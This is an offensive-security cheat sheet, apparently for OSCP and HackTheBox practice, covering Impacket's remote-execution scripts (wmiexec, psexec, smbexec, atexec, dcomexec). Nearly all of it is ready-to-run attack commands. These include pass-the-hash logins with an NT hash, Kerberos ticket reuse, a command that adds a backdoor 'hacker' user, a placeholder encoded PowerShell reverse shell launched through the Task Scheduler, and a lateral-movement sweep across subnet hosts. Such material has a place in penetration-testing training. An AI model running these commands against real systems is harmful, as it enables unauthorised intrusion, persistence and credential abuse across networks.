Impacket — Remote Execution
When to Use Which
| Script | Method | Writes to disk? | Shell type | Best for |
|---|---|---|---|---|
| wmiexec | WMI | ❌ No | Semi-interactive | Default choice — quiet, OSCP-friendly |
| psexec | SMB service + binary upload | ✅ Yes | Interactive SYSTEM | When you need SYSTEM and AV isn’t an issue |
| smbexec | SMB service (no upload) | ❌ No | Semi-interactive | No ADMIN$ write access |
| atexec | Task Scheduler | ❌ No | Single command | One-off commands, scheduled task |
| dcomexec | DCOM | ❌ No | Semi-interactive | When SMB exec is blocked |
OSCP default:
impacket-wmiexec— no file on disk, works with password or hash.
📌 1) wmiexec.py
Executes commands via WMI — recommended first choice.
Syntax
impacket-wmiexec [domain/]user:password@TARGET [command]
impacket-wmiexec user@TARGET -hashes ':NT_HASH' [command]Flags
| Flag | Description |
|---|---|
-share SHARE | Share for command output (default: ADMIN$) |
-hashes LM:NT | Pass-the-Hash |
-dc-ip IP | Domain Controller IP |
-k | Kerberos auth |
-no-pass | No password (Kerberos) |
-silentcommand | Don’t output command results to stdout |
-debug | Debug output |
Examples
# Interactive semi-shell
impacket-wmiexec domain/admin:password@10.10.10.10
impacket-wmiexec administrator@10.10.10.10 -hashes ':8846f7eaee8fb117ad06bdd830b7586c'
# Single command
impacket-wmiexec domain/user:password@10.10.10.10 "whoami"
impacket-wmiexec domain/user:password@10.10.10.10 "ipconfig /all"
impacket-wmiexec domain/user:password@10.10.10.10 "net user hacker P@ss123 /add"
# Use C$ if ADMIN$ blocked
impacket-wmiexec domain/user:password@10.10.10.10 -share C$
# Local account
impacket-wmiexec ./administrator:password@10.10.10.10📌 2) psexec.py
Uploads service binary to ADMIN$, creates Windows service, returns interactive SYSTEM shell. Noisy — AV often flags it.
Syntax
impacket-psexec [domain/]user:password@TARGET [command]Flags
| Flag | Description |
|---|---|
-hashes LM:NT | Pass-the-Hash |
-dc-ip IP | DC IP |
-k / -no-pass | Kerberos |
-codec CODEC | Output encoding (default: utf-8) |
-debug | Debug |
Examples
# Interactive SYSTEM shell
impacket-psexec domain/administrator:password@10.10.10.10
impacket-psexec administrator@10.10.10.10 -hashes ':NT_HASH'
# Single command as SYSTEM
impacket-psexec domain/user:password@10.10.10.10 cmd.exe /c whoami
# Local admin
impacket-psexec ./administrator:password@10.10.10.10📌 3) smbexec.py
Creates temporary service via SMB — no binary upload, but not full interactive shell.
Examples
impacket-smbexec domain/user:password@10.10.10.10
impacket-smbexec administrator@10.10.10.10 -hashes ':NT_HASH'📌 4) atexec.py
Runs command via Windows Task Scheduler (AT command). Good for single commands.
Examples
impacket-atexec domain/user:password@10.10.10.10 "whoami"
impacket-atexec domain/user:password@10.10.10.10 "powershell -enc BASE64_REVERSE_SHELL"
impacket-atexec administrator@10.10.10.10 -hashes ':NT_HASH' "ipconfig"📌 5) dcomexec.py
Executes via DCOM (Distributed COM) — alternative when SMB-based exec is blocked.
Examples
impacket-dcomexec domain/user:password@10.10.10.10
impacket-dcomexec domain/user:password@10.10.10.10 "whoami"
impacket-dcomexec administrator@10.10.10.10 -hashes ':NT_HASH'📌 6) Kerberos authentication (-k -no-pass)
Use a .ccache ticket from Kerberos Scripts > getTGT or ticketer — no password on the wire. Full workflow → Use Kerberos Ticket
-k fails but ticket looks valid? → export KRB5CCNAME + add FQDN to /etc/hosts → Use Kerberos Ticket > 📌 7) Worked example — KRB5CCNAME + /etc/hosts + psexec
Prerequisites
# Time sync (required)
sudo timedatectl set-ntp false && sudo ntpdate -s DC_IP
# HTB / no NTP: sudo date -u -s "YYYY-MM-DD HH:MM:SS"
# Load ticket
export KRB5CCNAME=svc_backup.ccacheFull ticket workflow → Use Kerberos Ticket
wmiexec — quiet shell (default)
impacket-wmiexec corp.local/svc_backup@TARGET -k -no-pass -dc-ip 10.10.10.10
# Single command
impacket-wmiexec corp.local/svc_backup@TARGET -k -no-pass -dc-ip 10.10.10.10 "whoami"psexec — SYSTEM shell (noisy)
impacket-psexec -k -no-pass corp.local/svc_backup@TARGET -dc-ip 10.10.10.10smbexec / atexec / dcomexec
impacket-smbexec corp.local/svc_backup@TARGET -k -no-pass -dc-ip DC_IP
impacket-atexec corp.local/svc_backup@TARGET -k -no-pass -dc-ip DC_IP "whoami"
impacket-dcomexec corp.local/svc_backup@TARGET -k -no-pass -dc-ip DC_IP| Flag | Description |
|---|---|
-k | Kerberos — use KRB5CCNAME ccache |
-no-pass | No password |
-dc-ip IP | Domain Controller / KDC |
📌 Quick Cheat Sheet
# ─── QUIET SHELL (try first) ──────────────────────────────────
impacket-wmiexec domain/user:pass@TARGET
impacket-wmiexec admin@TARGET -hashes ':NTHASH'
# ─── SYSTEM SHELL (noisy) ─────────────────────────────────────
impacket-psexec domain/user:pass@TARGET
# ─── ONE COMMAND ──────────────────────────────────────────────
impacket-wmiexec domain/user:pass@TARGET "whoami"
impacket-atexec domain/user:pass@TARGET "whoami"
# ─── KERBEROS TICKET ──────────────────────────────────────────
export KRB5CCNAME=user.ccache
impacket-wmiexec corp.local/user@TARGET -k -no-pass -dc-ip DC_IP
impacket-psexec -k -no-pass corp.local/user@TARGET -dc-ip DC_IP
# ─── LATERAL MOVEMENT (PTH across subnet) ─────────────────────
impacket-wmiexec administrator@10.10.10.11 -hashes ':NTHASH'
impacket-wmiexec administrator@10.10.10.12 -hashes ':NTHASH'